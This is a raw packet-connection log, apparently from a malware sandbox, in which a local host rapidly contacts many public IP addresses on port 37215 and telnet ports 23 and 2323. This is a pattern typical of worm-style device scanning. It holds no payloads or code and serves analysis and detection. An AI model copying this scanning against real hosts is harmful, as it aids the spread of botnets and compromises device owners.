Nov 3, 2024 15:33:05.204133034 CET	60004	37215	192.168.2.14	197.164.23.128
Nov 3, 2024 15:33:05.204133034 CET	60004	37215	192.168.2.14	197.164.23.128
Nov 3, 2024 15:33:05.204274893 CET	40468	23	192.168.2.14	208.146.14.98
Nov 3, 2024 15:33:05.204472065 CET	37215	60694	156.138.106.102	192.168.2.14
Nov 3, 2024 15:33:05.204524994 CET	60694	37215	192.168.2.14	156.138.106.102
Nov 3, 2024 15:33:05.204808950 CET	23	49474	12.80.90.209	192.168.2.14
Nov 3, 2024 15:33:05.204920053 CET	60580	37215	192.168.2.14	197.164.23.128
Nov 3, 2024 15:33:05.205133915 CET	40990	23	192.168.2.14	208.146.14.98
Nov 3, 2024 15:33:05.205996037 CET	48294	37215	192.168.2.14	156.42.97.189
Nov 3, 2024 15:33:05.205996037 CET	48294	37215	192.168.2.14	156.42.97.189
Nov 3, 2024 15:33:05.206208944 CET	56254	23	192.168.2.14	153.84.54.160
Nov 3, 2024 15:33:05.206295013 CET	2323	38836	209.9.141.12	192.168.2.14
Nov 3, 2024 15:33:05.206933022 CET	48870	37215	192.168.2.14	156.42.97.189
Nov 3, 2024 15:33:05.207110882 CET	37215	33698	197.223.76.128	192.168.2.14
Nov 3, 2024 15:33:05.207146883 CET	56776	23	192.168.2.14	153.84.54.160
Nov 3, 2024 15:33:05.207184076 CET	37215	33698	197.223.76.128	192.168.2.14
Nov 3, 2024 15:33:05.207247972 CET	23	43170	76.244.142.178	192.168.2.14
Nov 3, 2024 15:33:05.207832098 CET	36852	37215	192.168.2.14	197.181.5.130
Nov 3, 2024 15:33:05.207832098 CET	36852	37215	192.168.2.14	197.181.5.130
Nov 3, 2024 15:33:05.207961082 CET	58322	23	192.168.2.14	4.190.209.79
Nov 3, 2024 15:33:05.208553076 CET	37428	37215	192.168.2.14	197.181.5.130
Nov 3, 2024 15:33:05.208662987 CET	58844	23	192.168.2.14	4.190.209.79
Nov 3, 2024 15:33:05.209005117 CET	37215	60004	197.164.23.128	192.168.2.14
Nov 3, 2024 15:33:05.209197044 CET	37215	60004	197.164.23.128	192.168.2.14
Nov 3, 2024 15:33:05.209208012 CET	23	40468	208.146.14.98	192.168.2.14
Nov 3, 2024 15:33:05.209579945 CET	39572	37215	192.168.2.14	197.101.8.217
Nov 3, 2024 15:33:05.209579945 CET	39572	37215	192.168.2.14	197.101.8.217
Nov 3, 2024 15:33:05.209722042 CET	38062	23	192.168.2.14	148.109.114.29
Nov 3, 2024 15:33:05.209774017 CET	37215	60694	156.138.106.102	192.168.2.14
Nov 3, 2024 15:33:05.210366011 CET	40148	37215	192.168.2.14	197.101.8.217
Nov 3, 2024 15:33:05.210473061 CET	38582	23	192.168.2.14	148.109.114.29
Nov 3, 2024 15:33:05.210803032 CET	37215	48294	156.42.97.189	192.168.2.14
Nov 3, 2024 15:33:05.210885048 CET	37215	48294	156.42.97.189	192.168.2.14
Nov 3, 2024 15:33:05.210973978 CET	23	56254	153.84.54.160	192.168.2.14
Nov 3, 2024 15:33:05.211383104 CET	50810	37215	192.168.2.14	41.212.37.47
Nov 3, 2024 15:33:05.211383104 CET	50810	37215	192.168.2.14	41.212.37.47
Nov 3, 2024 15:33:05.211498976 CET	56710	23	192.168.2.14	107.237.69.15
Nov 3, 2024 15:33:05.212044954 CET	51386	37215	192.168.2.14	41.212.37.47
Nov 3, 2024 15:33:05.212295055 CET	57228	23	192.168.2.14	107.237.69.15
Nov 3, 2024 15:33:05.212784052 CET	37215	36852	197.181.5.130	192.168.2.14
Nov 3, 2024 15:33:05.212794065 CET	37215	36852	197.181.5.130	192.168.2.14
Nov 3, 2024 15:33:05.212802887 CET	23	58322	4.190.209.79	192.168.2.14
Nov 3, 2024 15:33:05.212930918 CET	44126	37215	192.168.2.14	197.69.184.15
Nov 3, 2024 15:33:05.212932110 CET	44126	37215	192.168.2.14	197.69.184.15
Nov 3, 2024 15:33:05.212987900 CET	60694	37215	192.168.2.14	156.138.106.102
Nov 3, 2024 15:33:05.213103056 CET	60220	23	192.168.2.14	95.34.63.61
Nov 3, 2024 15:33:05.213717937 CET	44702	37215	192.168.2.14	197.69.184.15
Nov 3, 2024 15:33:05.214128971 CET	60738	23	192.168.2.14	95.34.63.61
Nov 3, 2024 15:33:05.214390039 CET	37215	39572	197.101.8.217	192.168.2.14
Nov 3, 2024 15:33:05.214900017 CET	34128	37215	192.168.2.14	156.197.244.29
Nov 3, 2024 15:33:05.214900017 CET	34128	37215	192.168.2.14	156.197.244.29
Nov 3, 2024 15:33:05.214904070 CET	37215	39572	197.101.8.217	192.168.2.14
Nov 3, 2024 15:33:05.214931965 CET	23	38062	148.109.114.29	192.168.2.14
Nov 3, 2024 15:33:05.215004921 CET	49370	23	192.168.2.14	125.6.47.19
Nov 3, 2024 15:33:05.215589046 CET	34704	37215	192.168.2.14	156.197.244.29
Nov 3, 2024 15:33:05.215894938 CET	49888	23	192.168.2.14	125.6.47.19
Nov 3, 2024 15:33:05.216169119 CET	37215	50810	41.212.37.47	192.168.2.14
Nov 3, 2024 15:33:05.216346979 CET	37215	50810	41.212.37.47	192.168.2.14
Nov 3, 2024 15:33:05.216356993 CET	23	56710	107.237.69.15	192.168.2.14
Nov 3, 2024 15:33:05.216708899 CET	52884	37215	192.168.2.14	156.9.19.35
Nov 3, 2024 15:33:05.216718912 CET	52884	37215	192.168.2.14	156.9.19.35
Nov 3, 2024 15:33:05.216783047 CET	37215	51386	41.212.37.47	192.168.2.14
Nov 3, 2024 15:33:05.216831923 CET	51386	37215	192.168.2.14	41.212.37.47
Nov 3, 2024 15:33:05.216854095 CET	35962	23	192.168.2.14	149.198.132.209
Nov 3, 2024 15:33:05.217514038 CET	53460	37215	192.168.2.14	156.9.19.35
Nov 3, 2024 15:33:05.217736959 CET	37215	44126	197.69.184.15	192.168.2.14
Nov 3, 2024 15:33:05.217737913 CET	36480	23	192.168.2.14	149.198.132.209
Nov 3, 2024 15:33:05.217839003 CET	37215	44126	197.69.184.15	192.168.2.14
Nov 3, 2024 15:33:05.217849016 CET	23	60220	95.34.63.61	192.168.2.14
Nov 3, 2024 15:33:05.218477011 CET	39270	37215	192.168.2.14	197.45.148.89
Nov 3, 2024 15:33:05.218477011 CET	39270	37215	192.168.2.14	197.45.148.89
Nov 3, 2024 15:33:05.218585968 CET	41500	2323	192.168.2.14	164.104.163.42
Nov 3, 2024 15:33:05.219125032 CET	39846	37215	192.168.2.14	197.45.148.89
Nov 3, 2024 15:33:05.219252110 CET	42018	2323	192.168.2.14	164.104.163.42
Nov 3, 2024 15:33:05.220066071 CET	37215	34128	156.197.244.29	192.168.2.14
Nov 3, 2024 15:33:05.220093966 CET	52734	37215	192.168.2.14	41.12.238.176
Nov 3, 2024 15:33:05.220093966 CET	52734	37215	192.168.2.14	41.12.238.176
Nov 3, 2024 15:33:05.220163107 CET	37215	34128	156.197.244.29	192.168.2.14
Nov 3, 2024 15:33:05.220207930 CET	23	49370	125.6.47.19	192.168.2.14
Nov 3, 2024 15:33:05.220221996 CET	52584	23	192.168.2.14	168.146.104.161
Nov 3, 2024 15:33:05.220875978 CET	53310	37215	192.168.2.14	41.12.238.176
Nov 3, 2024 15:33:05.221117020 CET	53102	23	192.168.2.14	168.146.104.161
Nov 3, 2024 15:33:05.221502066 CET	37215	52884	156.9.19.35	192.168.2.14
Nov 3, 2024 15:33:05.221510887 CET	37215	52884	156.9.19.35	192.168.2.14
Nov 3, 2024 15:33:05.221661091 CET	23	35962	149.198.132.209	192.168.2.14
Nov 3, 2024 15:33:05.221916914 CET	57258	37215	192.168.2.14	156.98.94.204
Nov 3, 2024 15:33:05.221916914 CET	57258	37215	192.168.2.14	156.98.94.204
Nov 3, 2024 15:33:05.222043991 CET	41778	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:05.222067118 CET	37215	51386	41.212.37.47	192.168.2.14
Nov 3, 2024 15:33:05.222666979 CET	57834	37215	192.168.2.14	156.98.94.204
Nov 3, 2024 15:33:05.222881079 CET	42298	23	192.168.2.14	196.125.41.89
Nov 3, 2024 15:33:05.223635912 CET	60994	37215	192.168.2.14	41.135.218.72
Nov 3, 2024 15:33:05.223635912 CET	60994	37215	192.168.2.14	41.135.218.72
Nov 3, 2024 15:33:05.223654032 CET	37215	39270	197.45.148.89	192.168.2.14
Nov 3, 2024 15:33:05.223664999 CET	37215	39270	197.45.148.89	192.168.2.14
Nov 3, 2024 15:33:05.223673105 CET	2323	41500	164.104.163.42	192.168.2.14
Nov 3, 2024 15:33:05.223751068 CET	52212	23	192.168.2.14	210.46.140.34
Nov 3, 2024 15:33:05.224360943 CET	33338	37215	192.168.2.14	41.135.218.72
Nov 3, 2024 15:33:05.224477053 CET	52732	23	192.168.2.14	210.46.140.34
Nov 3, 2024 15:33:05.224952936 CET	37215	52734	41.12.238.176	192.168.2.14
Nov 3, 2024 15:33:05.225028038 CET	37215	52734	41.12.238.176	192.168.2.14
Nov 3, 2024 15:33:05.225061893 CET	23	52584	168.146.104.161	192.168.2.14
Nov 3, 2024 15:33:05.225320101 CET	49326	37215	192.168.2.14	41.82.16.126
Nov 3, 2024 15:33:05.225320101 CET	49326	37215	192.168.2.14	41.82.16.126
Nov 3, 2024 15:33:05.225517988 CET	52408	23	192.168.2.14	58.242.158.172
Nov 3, 2024 15:33:05.225681067 CET	37215	53310	41.12.238.176	192.168.2.14
Nov 3, 2024 15:33:05.225723982 CET	53310	37215	192.168.2.14	41.12.238.176
Nov 3, 2024 15:33:05.226151943 CET	49902	37215	192.168.2.14	41.82.16.126
Nov 3, 2024 15:33:05.226372004 CET	52924	23	192.168.2.14	58.242.158.172
Nov 3, 2024 15:33:05.226706028 CET	37215	57258	156.98.94.204	192.168.2.14
Nov 3, 2024 15:33:05.226820946 CET	37215	57258	156.98.94.204	192.168.2.14
Nov 3, 2024 15:33:05.226833105 CET	23	41778	196.125.41.89	192.168.2.14
Nov 3, 2024 15:33:05.227072001 CET	49956	37215	192.168.2.14	197.146.167.175
Nov 3, 2024 15:33:05.227072001 CET	49956	37215	192.168.2.14	197.146.167.175
Nov 3, 2024 15:33:05.227288961 CET	40868	23	192.168.2.14	36.203.78.30
Nov 3, 2024 15:33:05.228117943 CET	50534	37215	192.168.2.14	197.146.167.175
Nov 3, 2024 15:33:05.228317976 CET	41384	23	192.168.2.14	36.203.78.30
Nov 3, 2024 15:33:05.228467941 CET	37215	60994	41.135.218.72	192.168.2.14
Nov 3, 2024 15:33:05.228595018 CET	37215	60994	41.135.218.72	192.168.2.14
Nov 3, 2024 15:33:05.228605032 CET	23	52212	210.46.140.34	192.168.2.14
Nov 3, 2024 15:33:05.229000092 CET	51386	37215	192.168.2.14	41.212.37.47
Nov 3, 2024 15:33:05.229074955 CET	38738	37215	192.168.2.14	197.122.174.144
Nov 3, 2024 15:33:05.229074955 CET	38738	37215	192.168.2.14	197.122.174.144
Nov 3, 2024 15:33:05.229315996 CET	35190	23	192.168.2.14	66.67.58.9
Nov 3, 2024 15:33:05.229950905 CET	39316	37215	192.168.2.14	197.122.174.144
Nov 3, 2024 15:33:05.230078936 CET	35706	23	192.168.2.14	66.67.58.9
Nov 3, 2024 15:33:05.230763912 CET	37215	49326	41.82.16.126	192.168.2.14
Nov 3, 2024 15:33:05.230777979 CET	37215	49326	41.82.16.126	192.168.2.14
Nov 3, 2024 15:33:05.230787992 CET	23	52408	58.242.158.172	192.168.2.14
Nov 3, 2024 15:33:05.230798960 CET	37215	53310	41.12.238.176	192.168.2.14
Nov 3, 2024 15:33:05.230992079 CET	60076	37215	192.168.2.14	156.204.201.19
Nov 3, 2024 15:33:05.230992079 CET	60076	37215	192.168.2.14	156.204.201.19
Nov 3, 2024 15:33:05.231132030 CET	50116	23	192.168.2.14	79.182.16.153
Nov 3, 2024 15:33:05.231751919 CET	60654	37215	192.168.2.14	156.204.201.19
Nov 3, 2024 15:33:05.231834888 CET	37215	49956	197.146.167.175	192.168.2.14
Nov 3, 2024 15:33:05.232002020 CET	50632	23	192.168.2.14	79.182.16.153
Nov 3, 2024 15:33:05.232208014 CET	37215	49956	197.146.167.175	192.168.2.14
Nov 3, 2024 15:33:05.232222080 CET	23	40868	36.203.78.30	192.168.2.14
Nov 3, 2024 15:33:05.232793093 CET	53956	37215	192.168.2.14	197.185.236.65
Nov 3, 2024 15:33:05.232793093 CET	53956	37215	192.168.2.14	197.185.236.65
Nov 3, 2024 15:33:05.232899904 CET	42234	23	192.168.2.14	72.37.180.64
Nov 3, 2024 15:33:05.232988119 CET	53310	37215	192.168.2.14	41.12.238.176
Nov 3, 2024 15:33:05.233638048 CET	54534	37215	192.168.2.14	197.185.236.65
Nov 3, 2024 15:33:05.233755112 CET	42748	23	192.168.2.14	72.37.180.64
Nov 3, 2024 15:33:05.233848095 CET	37215	38738	197.122.174.144	192.168.2.14
Nov 3, 2024 15:33:05.233947992 CET	37215	38738	197.122.174.144	192.168.2.14
Nov 3, 2024 15:33:05.233994961 CET	23	35190	66.67.58.9	192.168.2.14
Nov 3, 2024 15:33:05.234661102 CET	52932	37215	192.168.2.14	197.164.122.124
Nov 3, 2024 15:33:05.234661102 CET	52932	37215	192.168.2.14	197.164.122.124
Nov 3, 2024 15:33:05.234796047 CET	36386	2323	192.168.2.14	18.30.246.16
Nov 3, 2024 15:33:05.235424995 CET	53510	37215	192.168.2.14	197.164.122.124
Nov 3, 2024 15:33:05.235632896 CET	36900	2323	192.168.2.14	18.30.246.16
Nov 3, 2024 15:33:05.235778093 CET	37215	60076	156.204.201.19	192.168.2.14
Nov 3, 2024 15:33:05.235867023 CET	37215	60076	156.204.201.19	192.168.2.14
Nov 3, 2024 15:33:05.236530066 CET	38176	37215	192.168.2.14	41.183.11.39
Nov 3, 2024 15:33:05.236530066 CET	38176	37215	192.168.2.14	41.183.11.39
Nov 3, 2024 15:33:05.236630917 CET	55908	23	192.168.2.14	66.43.145.95
Nov 3, 2024 15:33:05.236661911 CET	23	50116	79.182.16.153	192.168.2.14
Nov 3, 2024 15:33:05.236671925 CET	37215	60654	156.204.201.19	192.168.2.14
Nov 3, 2024 15:33:05.236716032 CET	60654	37215	192.168.2.14	156.204.201.19
Nov 3, 2024 15:33:05.237273932 CET	38756	37215	192.168.2.14	41.183.11.39
Nov 3, 2024 15:33:05.237528086 CET	56422	23	192.168.2.14	66.43.145.95
Nov 3, 2024 15:33:05.237567902 CET	37215	53956	197.185.236.65	192.168.2.14
Nov 3, 2024 15:33:05.237687111 CET	37215	53956	197.185.236.65	192.168.2.14
Nov 3, 2024 15:33:05.237709999 CET	23	42234	72.37.180.64	192.168.2.14
Nov 3, 2024 15:33:05.238353014 CET	35572	37215	192.168.2.14	156.7.119.130
Nov 3, 2024 15:33:05.238353014 CET	35572	37215	192.168.2.14	156.7.119.130
Nov 3, 2024 15:33:05.238454103 CET	48700	23	192.168.2.14	18.89.87.117
Nov 3, 2024 15:33:05.239065886 CET	36150	37215	192.168.2.14	156.7.119.130
Nov 3, 2024 15:33:05.239217043 CET	49214	23	192.168.2.14	18.89.87.117
Nov 3, 2024 15:33:05.239412069 CET	37215	52932	197.164.122.124	192.168.2.14
Nov 3, 2024 15:33:05.239533901 CET	37215	52932	197.164.122.124	192.168.2.14
Nov 3, 2024 15:33:05.239543915 CET	2323	36386	18.30.246.16	192.168.2.14
Nov 3, 2024 15:33:05.239993095 CET	51558	37215	192.168.2.14	41.107.38.254
Nov 3, 2024 15:33:05.239993095 CET	51558	37215	192.168.2.14	41.107.38.254
Nov 3, 2024 15:33:05.240139008 CET	51852	23	192.168.2.14	68.78.197.131
Nov 3, 2024 15:33:05.240691900 CET	52136	37215	192.168.2.14	41.107.38.254
Nov 3, 2024 15:33:05.240972042 CET	52366	23	192.168.2.14	68.78.197.131
Nov 3, 2024 15:33:05.241328001 CET	37215	38176	41.183.11.39	192.168.2.14
Nov 3, 2024 15:33:05.241337061 CET	37215	38176	41.183.11.39	192.168.2.14
Nov 3, 2024 15:33:05.241417885 CET	23	55908	66.43.145.95	192.168.2.14
Nov 3, 2024 15:33:05.241703987 CET	45272	37215	192.168.2.14	41.110.52.200
Nov 3, 2024 15:33:05.241703987 CET	45272	37215	192.168.2.14	41.110.52.200
Nov 3, 2024 15:33:05.241717100 CET	37215	60654	156.204.201.19	192.168.2.14
Nov 3, 2024 15:33:05.241807938 CET	38918	23	192.168.2.14	58.236.76.205
Nov 3, 2024 15:33:05.242404938 CET	45850	37215	192.168.2.14	41.110.52.200
Nov 3, 2024 15:33:05.242609024 CET	39432	23	192.168.2.14	58.236.76.205
Nov 3, 2024 15:33:05.243124008 CET	37215	35572	156.7.119.130	192.168.2.14
Nov 3, 2024 15:33:05.243302107 CET	37215	35572	156.7.119.130	192.168.2.14
Nov 3, 2024 15:33:05.243318081 CET	23	48700	18.89.87.117	192.168.2.14
Nov 3, 2024 15:33:05.243423939 CET	43450	37215	192.168.2.14	197.218.170.223
Nov 3, 2024 15:33:05.243423939 CET	43450	37215	192.168.2.14	197.218.170.223
Nov 3, 2024 15:33:05.243541002 CET	39366	23	192.168.2.14	194.229.95.42
Nov 3, 2024 15:33:05.244061947 CET	44028	37215	192.168.2.14	197.218.170.223
Nov 3, 2024 15:33:05.244191885 CET	39880	23	192.168.2.14	194.229.95.42
Nov 3, 2024 15:33:05.244715929 CET	37215	51558	41.107.38.254	192.168.2.14
Nov 3, 2024 15:33:05.244936943 CET	37215	51558	41.107.38.254	192.168.2.14
Nov 3, 2024 15:33:05.244946003 CET	23	51852	68.78.197.131	192.168.2.14
Nov 3, 2024 15:33:05.245090961 CET	60654	37215	192.168.2.14	156.204.201.19
Nov 3, 2024 15:33:05.245124102 CET	54068	37215	192.168.2.14	197.146.206.253
Nov 3, 2024 15:33:05.245124102 CET	54068	37215	192.168.2.14	197.146.206.253
Nov 3, 2024 15:33:05.245219946 CET	58256	23	192.168.2.14	93.197.117.16
Nov 3, 2024 15:33:05.245434999 CET	37215	52136	41.107.38.254	192.168.2.14
Nov 3, 2024 15:33:05.245476961 CET	52136	37215	192.168.2.14	41.107.38.254
Nov 3, 2024 15:33:05.245826006 CET	54646	37215	192.168.2.14	197.146.206.253
Nov 3, 2024 15:33:05.246042013 CET	58770	23	192.168.2.14	93.197.117.16
Nov 3, 2024 15:33:05.246443987 CET	37215	45272	41.110.52.200	192.168.2.14
Nov 3, 2024 15:33:05.246632099 CET	37215	45272	41.110.52.200	192.168.2.14
Nov 3, 2024 15:33:05.246642113 CET	23	38918	58.236.76.205	192.168.2.14
Nov 3, 2024 15:33:05.246870995 CET	33178	37215	192.168.2.14	197.206.23.158
Nov 3, 2024 15:33:05.246870995 CET	33178	37215	192.168.2.14	197.206.23.158
Nov 3, 2024 15:33:05.247030973 CET	47428	23	192.168.2.14	160.79.59.93
Nov 3, 2024 15:33:05.247649908 CET	33756	37215	192.168.2.14	197.206.23.158
Nov 3, 2024 15:33:05.247967005 CET	47942	23	192.168.2.14	160.79.59.93
Nov 3, 2024 15:33:05.248143911 CET	37215	43450	197.218.170.223	192.168.2.14
Nov 3, 2024 15:33:05.248285055 CET	37215	43450	197.218.170.223	192.168.2.14
Nov 3, 2024 15:33:05.248296976 CET	23	39366	194.229.95.42	192.168.2.14
Nov 3, 2024 15:33:05.248713017 CET	46202	37215	192.168.2.14	197.39.77.74
Nov 3, 2024 15:33:05.248713017 CET	46202	37215	192.168.2.14	197.39.77.74
Nov 3, 2024 15:33:05.248840094 CET	39900	23	192.168.2.14	166.57.28.207
Nov 3, 2024 15:33:05.249492884 CET	46778	37215	192.168.2.14	197.39.77.74
Nov 3, 2024 15:33:05.249648094 CET	40414	23	192.168.2.14	166.57.28.207
Nov 3, 2024 15:33:05.249922037 CET	37215	54068	197.146.206.253	192.168.2.14
Nov 3, 2024 15:33:05.250050068 CET	37215	54068	197.146.206.253	192.168.2.14
Nov 3, 2024 15:33:05.250061989 CET	23	58256	93.197.117.16	192.168.2.14
Nov 3, 2024 15:33:05.250538111 CET	41574	37215	192.168.2.14	156.198.30.156
Nov 3, 2024 15:33:05.250538111 CET	41574	37215	192.168.2.14	156.198.30.156
Nov 3, 2024 15:33:05.250617027 CET	37215	52136	41.107.38.254	192.168.2.14
Nov 3, 2024 15:33:05.250643969 CET	39720	23	192.168.2.14	200.87.169.165
Nov 3, 2024 15:33:05.251250029 CET	42150	37215	192.168.2.14	156.198.30.156
Nov 3, 2024 15:33:05.251363039 CET	40234	23	192.168.2.14	200.87.169.165
Nov 3, 2024 15:33:05.251682997 CET	37215	33178	197.206.23.158	192.168.2.14
Nov 3, 2024 15:33:05.251777887 CET	37215	33178	197.206.23.158	192.168.2.14
Nov 3, 2024 15:33:05.251790047 CET	23	47428	160.79.59.93	192.168.2.14
Nov 3, 2024 15:33:05.252212048 CET	51760	37215	192.168.2.14	197.119.212.153
Nov 3, 2024 15:33:05.252212048 CET	51760	37215	192.168.2.14	197.119.212.153
Nov 3, 2024 15:33:05.252360106 CET	36070	23	192.168.2.14	190.252.22.235
Nov 3, 2024 15:33:05.252928972 CET	52336	37215	192.168.2.14	197.119.212.153
Nov 3, 2024 15:33:05.252990961 CET	52136	37215	192.168.2.14	41.107.38.254
Nov 3, 2024 15:33:05.253160000 CET	36584	23	192.168.2.14	190.252.22.235
Nov 3, 2024 15:33:05.253464937 CET	37215	46202	197.39.77.74	192.168.2.14
Nov 3, 2024 15:33:05.253599882 CET	37215	46202	197.39.77.74	192.168.2.14
Nov 3, 2024 15:33:05.253609896 CET	23	39900	166.57.28.207	192.168.2.14
Nov 3, 2024 15:33:05.254122972 CET	37810	37215	192.168.2.14	41.249.78.239
Nov 3, 2024 15:33:05.254122972 CET	37810	37215	192.168.2.14	41.249.78.239
Nov 3, 2024 15:33:05.254255056 CET	50878	2323	192.168.2.14	202.107.75.62
Nov 3, 2024 15:33:05.254868031 CET	38386	37215	192.168.2.14	41.249.78.239
Nov 3, 2024 15:33:05.254992008 CET	51392	2323	192.168.2.14	202.107.75.62
Nov 3, 2024 15:33:05.255336046 CET	37215	41574	156.198.30.156	192.168.2.14
Nov 3, 2024 15:33:05.255426884 CET	37215	41574	156.198.30.156	192.168.2.14
Nov 3, 2024 15:33:05.255438089 CET	23	39720	200.87.169.165	192.168.2.14
Nov 3, 2024 15:33:05.255875111 CET	38356	37215	192.168.2.14	156.211.166.247
Nov 3, 2024 15:33:05.255875111 CET	38356	37215	192.168.2.14	156.211.166.247
Nov 3, 2024 15:33:05.255983114 CET	58548	23	192.168.2.14	96.86.209.177
Nov 3, 2024 15:33:05.256088018 CET	23	40234	200.87.169.165	192.168.2.14
Nov 3, 2024 15:33:05.256136894 CET	40234	23	192.168.2.14	200.87.169.165
Nov 3, 2024 15:33:05.256548882 CET	38932	37215	192.168.2.14	156.211.166.247
Nov 3, 2024 15:33:05.256665945 CET	59032	23	192.168.2.14	96.86.209.177
Nov 3, 2024 15:33:05.256933928 CET	37215	51760	197.119.212.153	192.168.2.14
Nov 3, 2024 15:33:05.257072926 CET	37215	51760	197.119.212.153	192.168.2.14
Nov 3, 2024 15:33:05.257085085 CET	23	36070	190.252.22.235	192.168.2.14
Nov 3, 2024 15:33:05.257457018 CET	41106	37215	192.168.2.14	41.198.128.222
Nov 3, 2024 15:33:05.257457018 CET	41106	37215	192.168.2.14	41.198.128.222
Nov 3, 2024 15:33:05.257678032 CET	36802	23	192.168.2.14	201.102.51.122
Nov 3, 2024 15:33:05.258229017 CET	41682	37215	192.168.2.14	41.198.128.222
Nov 3, 2024 15:33:05.258374929 CET	37288	23	192.168.2.14	201.102.51.122
Nov 3, 2024 15:33:05.258857965 CET	37215	37810	41.249.78.239	192.168.2.14
Nov 3, 2024 15:33:05.258990049 CET	37215	37810	41.249.78.239	192.168.2.14
Nov 3, 2024 15:33:05.259001970 CET	2323	50878	202.107.75.62	192.168.2.14
Nov 3, 2024 15:33:05.259207010 CET	46858	37215	192.168.2.14	41.212.205.129
Nov 3, 2024 15:33:05.259207010 CET	46858	37215	192.168.2.14	41.212.205.129
Nov 3, 2024 15:33:05.259345055 CET	59916	23	192.168.2.14	93.178.4.158
Nov 3, 2024 15:33:05.260144949 CET	47434	37215	192.168.2.14	41.212.205.129
Nov 3, 2024 15:33:05.260443926 CET	60404	23	192.168.2.14	93.178.4.158
Nov 3, 2024 15:33:05.260642052 CET	37215	38356	156.211.166.247	192.168.2.14
Nov 3, 2024 15:33:05.260778904 CET	37215	38356	156.211.166.247	192.168.2.14
Nov 3, 2024 15:33:05.260787964 CET	23	58548	96.86.209.177	192.168.2.14
Nov 3, 2024 15:33:05.261143923 CET	23	40234	200.87.169.165	192.168.2.14
Nov 3, 2024 15:33:05.261167049 CET	51676	37215	192.168.2.14	156.132.222.235
Nov 3, 2024 15:33:05.261167049 CET	51676	37215	192.168.2.14	156.132.222.235
Nov 3, 2024 15:33:05.261360884 CET	57056	23	192.168.2.14	202.71.47.74
Nov 3, 2024 15:33:05.262095928 CET	52254	37215	192.168.2.14	156.132.222.235
Nov 3, 2024 15:33:05.262191057 CET	57546	23	192.168.2.14	202.71.47.74
Nov 3, 2024 15:33:05.262578011 CET	37215	41106	41.198.128.222	192.168.2.14
Nov 3, 2024 15:33:05.262814045 CET	37215	41106	41.198.128.222	192.168.2.14
Nov 3, 2024 15:33:05.262821913 CET	23	36802	201.102.51.122	192.168.2.14
Nov 3, 2024 15:33:05.263189077 CET	36170	37215	192.168.2.14	156.233.106.32
Nov 3, 2024 15:33:05.263189077 CET	36170	37215	192.168.2.14	156.233.106.32
Nov 3, 2024 15:33:05.263338089 CET	41066	23	192.168.2.14	223.146.144.78
Nov 3, 2024 15:33:05.263931990 CET	36748	37215	192.168.2.14	156.233.106.32
Nov 3, 2024 15:33:05.264178038 CET	41558	23	192.168.2.14	223.146.144.78
Nov 3, 2024 15:33:05.264693022 CET	37215	46858	41.212.205.129	192.168.2.14
Nov 3, 2024 15:33:05.264702082 CET	37215	46858	41.212.205.129	192.168.2.14
Nov 3, 2024 15:33:05.264715910 CET	23	59916	93.178.4.158	192.168.2.14
Nov 3, 2024 15:33:05.264941931 CET	36438	37215	192.168.2.14	41.102.52.117
Nov 3, 2024 15:33:05.264941931 CET	36438	37215	192.168.2.14	41.102.52.117
Nov 3, 2024 15:33:05.264986992 CET	40234	23	192.168.2.14	200.87.169.165
Nov 3, 2024 15:33:05.265106916 CET	51526	23	192.168.2.14	221.51.229.78
Nov 3, 2024 15:33:05.265223026 CET	37215	47434	41.212.205.129	192.168.2.14
Nov 3, 2024 15:33:05.265264034 CET	47434	37215	192.168.2.14	41.212.205.129
Nov 3, 2024 15:33:05.265619040 CET	37016	37215	192.168.2.14	41.102.52.117
Nov 3, 2024 15:33:05.265826941 CET	52020	23	192.168.2.14	221.51.229.78
Nov 3, 2024 15:33:05.265927076 CET	37215	51676	156.132.222.235	192.168.2.14
Nov 3, 2024 15:33:05.266076088 CET	37215	51676	156.132.222.235	192.168.2.14
Nov 3, 2024 15:33:05.266151905 CET	23	57056	202.71.47.74	192.168.2.14
Nov 3, 2024 15:33:05.266591072 CET	43092	37215	192.168.2.14	156.79.77.68
Nov 3, 2024 15:33:05.266591072 CET	43092	37215	192.168.2.14	156.79.77.68
Nov 3, 2024 15:33:05.266700029 CET	45920	23	192.168.2.14	203.226.190.38
Nov 3, 2024 15:33:05.267282963 CET	43670	37215	192.168.2.14	156.79.77.68
Nov 3, 2024 15:33:05.267410994 CET	46416	23	192.168.2.14	203.226.190.38
Nov 3, 2024 15:33:05.268109083 CET	37215	36170	156.233.106.32	192.168.2.14
Nov 3, 2024 15:33:05.268275976 CET	37215	36170	156.233.106.32	192.168.2.14
Nov 3, 2024 15:33:05.268285036 CET	23	41066	223.146.144.78	192.168.2.14
Nov 3, 2024 15:33:05.268337965 CET	36272	37215	192.168.2.14	197.31.225.2
Nov 3, 2024 15:33:05.268337965 CET	36272	37215	192.168.2.14	197.31.225.2
Nov 3, 2024 15:33:05.268434048 CET	47764	23	192.168.2.14	202.167.120.231
Nov 3, 2024 15:33:05.269082069 CET	36850	37215	192.168.2.14	197.31.225.2
Nov 3, 2024 15:33:05.269335032 CET	48262	23	192.168.2.14	202.167.120.231
Nov 3, 2024 15:33:05.269881010 CET	37215	36438	41.102.52.117	192.168.2.14
Nov 3, 2024 15:33:05.269889116 CET	37215	36438	41.102.52.117	192.168.2.14
Nov 3, 2024 15:33:05.269922018 CET	23	51526	221.51.229.78	192.168.2.14
Nov 3, 2024 15:33:05.270026922 CET	58704	37215	192.168.2.14	156.253.95.85
Nov 3, 2024 15:33:05.270026922 CET	58704	37215	192.168.2.14	156.253.95.85
Nov 3, 2024 15:33:05.270143032 CET	52338	2323	192.168.2.14	160.225.3.89
Nov 3, 2024 15:33:05.270286083 CET	37215	47434	41.212.205.129	192.168.2.14
Nov 3, 2024 15:33:05.270739079 CET	59282	37215	192.168.2.14	156.253.95.85
Nov 3, 2024 15:33:05.271049023 CET	52838	2323	192.168.2.14	160.225.3.89
Nov 3, 2024 15:33:05.271353960 CET	37215	43092	156.79.77.68	192.168.2.14
Nov 3, 2024 15:33:05.271857023 CET	39844	37215	192.168.2.14	197.231.247.81
Nov 3, 2024 15:33:05.271857023 CET	39844	37215	192.168.2.14	197.231.247.81
Nov 3, 2024 15:33:05.271884918 CET	37215	43092	156.79.77.68	192.168.2.14
Nov 3, 2024 15:33:05.271894932 CET	23	45920	203.226.190.38	192.168.2.14
Nov 3, 2024 15:33:05.272020102 CET	51908	23	192.168.2.14	115.137.137.86
Nov 3, 2024 15:33:05.272720098 CET	40422	37215	192.168.2.14	197.231.247.81
Nov 3, 2024 15:33:05.272960901 CET	52410	23	192.168.2.14	115.137.137.86
